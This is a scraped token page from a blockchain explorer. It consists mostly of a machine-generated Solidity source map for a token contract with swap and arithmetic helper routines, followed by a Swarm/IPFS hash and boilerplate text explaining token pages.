39;;;;;;;;;;;;;;;;;:3;:39::i;6812:87::-;6869:7;6889:1;6887;:3;6886:9;;6894:1;6886:9;;;-1:-1:-1;6892:1:0;6812:87;-1:-1:-1;6812:87:0:o;6905:629::-;5488:27;:34;;-1:-1:-1;;5488:34:0;;;;;6997:30;;7019:7:::1;6997:30;7041:23;::::0;;;::::1;;;7037:37:::0;7066:7:::1;7037:37;7108:16;::::0;;7122:1:::1;7108:16:::0;;;;;::::1;::::0;;7084:21:::1;::::0;7108:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7108:16:0::1;7084:40;;7153:4;7135;7140:1;7135:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7135:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7179:28:::1;::::0;:35:::1;::::0;;-1:-1:-1;;;7179:35:0;;;;:28;;;::::1;::::0;:33:::1;::::0;:35:::1;::::0;;::::1;::::0;7135:7;;7179:35;;;;;:28;:35:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7169:4;7174:1;7169:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7169:45:0;;::::1;:7;::::0;;::::1;::::0;;;;;:45;7257:28:::1;::::0;7225:78:::1;::::0;7242:4:::1;::::0;7257:28:::1;7288:14:::0;7225:8:::1;:78::i;:::-;7314:28;::::0;:212:::1;::::0;-1:-1:-1;;;7314:212:0;;-1:-1:-1;;;;;7314:28:0;;::::1;::::0;:79:::1;::::0;:212:::1;::::0;7408:14;;7314:28:::1;::::0;7453:4;;7480::::1;::::0;7500:15:::1;::::0;7314:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;6986:548;5524:1;-1:-1:-1::0;5528:27:0;:35;;-1:-1:-1;;5528:35:0;;;6905:629::o;1017:179::-;1075:7;;1107:5;1111:1;1107;:5;:::i;:::-;1095:17;;1136:1;1131;:6;;1123:46;;;;-1:-1:-1;;;1123:46:0;;13442:2:1;1123:46:0;;;13424:21:1;13481:2;13461:18;;;13454:30;13520:29;13500:18;;;13493:57;13567:18;;1123:46:0;13240:351:1;873:136:0;931:7;958:43;962:1;965;958:43;;;;;;;;;;;;;;;;;:3;:43::i;676:189::-;762:7;797:12;790:5;782:28;;;;-1:-1:-1;;;782:28:0;;;;;;;;:::i;:::-;-1:-1:-1;821:9:0;833:5;837:1;833;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2916:388::-;2984:6;2992;3045:2;3033:9;3024:7;3020:23;3016:32;3013:52;;;3061:1;3058;3051:12;3013:52;3100:9;3087:23;3119:31;3144:5;3119:31;:::i;:::-;3169:5;-1:-1:-1;3226:2:1;3211:18;;3198:32;3239:33;3198:32;3239:33;:::i;:::-;3291:7;3281:17;;;2916:388;;;;;:::o;3309:127::-;3370:10;3365:3;3361:20;3358:1;3351:31;3401:4;3398:1;3391:15;3425:4;3422:1;3415:15;3441:422;3530:1;3573:5;3530:1;3587:270;3608:7;3598:8;3595:21;3587:270;;;3667:4;3663:1;3659:6;3655:17;3649:4;3646:27;3643:53;;;3676:18;;:::i;:::-;3726:7;3716:8;3712:22;3709:55;;;3746:16;;;;3709:55;3825:22;;;;3785:15;;;;3587:270;;;3591:3;3441:422;;;;;:::o;3868:806::-;3917:5;3947:8;3937:80;;-1:-1:-1;3988:1:1;4002:5;;3937:80;4036:4;4026:76;;-1:-1:-1;4073:1:1;4087:5;;4026:76;4118:4;4136:1;4131:59;;;;4204:1;4199:130;;;;4111:218;;4131:59;4161:1;4152:10;;4175:5;;;4199:130;4236:3;4226:8;4223:17;4220:43;;;4243:18;;:::i;:::-;-1:-1:-1;;4299:1:1;4285:16;;4314:5;;4111:218;;4413:2;4403:8;4400:16;4394:3;4388:4;4385:13;4381:36;4375:2;4365:8;4362:16;4357:2;4351:4;4348:12;4344:35;4341:77;4338:159;;;-1:-1:-1;4450:19:1;;;4482:5;;4338:159;4529:34;4554:8;4548:4;4529:34;:::i;:::-;4599:6;4595:1;4591:6;4587:19;4578:7;4575:32;4572:58;;;4610:18;;:::i;:::-;4648:20;;3868:806;-1:-1:-1;;;3868:806:1:o;4679:140::-;4737:5;4766:47;4807:4;4797:8;4793:19;4787:4;4766:47;:::i;4824:168::-;4897:9;;;4928;;4945:15;;;4939:22;;4925:37;4915:71;;4966:18;;:::i;4997:356::-;5199:2;5181:21;;;5218:18;;;5211:30;5277:34;5272:2;5257:18;;5250:62;5344:2;5329:18;;4997:356::o;5710:251::-;5780:6;5833:2;5821:9;5812:7;5808:23;5804:32;5801:52;;;5849:1;5846;5839:12;5801:52;5881:9;5875:16;5900:31;5925:5;5900:31;:::i;6887:306::-;6975:6;6983;6991;7044:2;7032:9;7023:7;7019:23;7015:32;7012:52;;;7060:1;7057;7050:12;7012:52;7089:9;7083:16;7073:26;;7139:2;7128:9;7124:18;7118:25;7108:35;;7183:2;7172:9;7168:18;7162:25;7152:35;;6887:306;;;;;:::o;7477:277::-;7544:6;7597:2;7585:9;7576:7;7572:23;7568:32;7565:52;;;7613:1;7610;7603:12;7565:52;7645:9;7639:16;7698:5;7691:13;7684:21;7677:5;7674:32;7664:60;;7720:1;7717;7710:12;10550:125;10615:9;;;10636:10;;;10633:36;;;10649:18;;:::i;10680:409::-;10882:2;10864:21;;;10921:2;10901:18;;;10894:30;10960:34;10955:2;10940:18;;10933:62;-1:-1:-1;;;11026:2:1;11011:18;;11004:43;11079:3;11064:19;;10680:409::o;11094:135::-;11133:3;11154:17;;;11151:43;;11174:18;;:::i;:::-;-1:-1:-1;11221:1:1;11210:13;;11094:135::o;11234:128::-;11301:9;;;11322:11;;;11319:37;;;11336:18;;:::i;11367:217::-;11407:1;11433;11423:132;;11477:10;11472:3;11468:20;11465:1;11458:31;11512:4;11509:1;11502:15;11540:4;11537:1;11530:15;11423:132;-1:-1:-1;11569:9:1;;11367:217::o;12123:127::-;12184:10;12179:3;12175:20;12172:1;12165:31;12215:4;12212:1;12205:15;12239:4;12236:1;12229:15;12255:980;12517:4;12565:3;12554:9;12550:19;12596:6;12585:9;12578:25;12622:2;12660:6;12655:2;12644:9;12640:18;12633:34;12703:3;12698:2;12687:9;12683:18;12676:31;12727:6;12762;12756:13;12793:6;12785;12778:22;12831:3;12820:9;12816:19;12809:26;;12870:2;12862:6;12858:15;12844:29;;12891:1;12901:195;12915:6;12912:1;12909:13;12901:195;;;12980:13;;-1:-1:-1;;;;;12976:39:1;12964:52;;13071:15;;;;13036:12;;;;13012:1;12930:9;12901:195;;;-1:-1:-1;;;;;;;13152:32:1;;;;13147:2;13132:18;;13125:60;-1:-1:-1;;;13216:3:1;13201:19;13194:35;13113:3;12255:980;-1:-1:-1;;;12255:980:1:o
Swarm Source
ipfs://3acd9b9336487823b2d8921d81924cb2e936c44402daaf59a378edb54b8d1c8a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.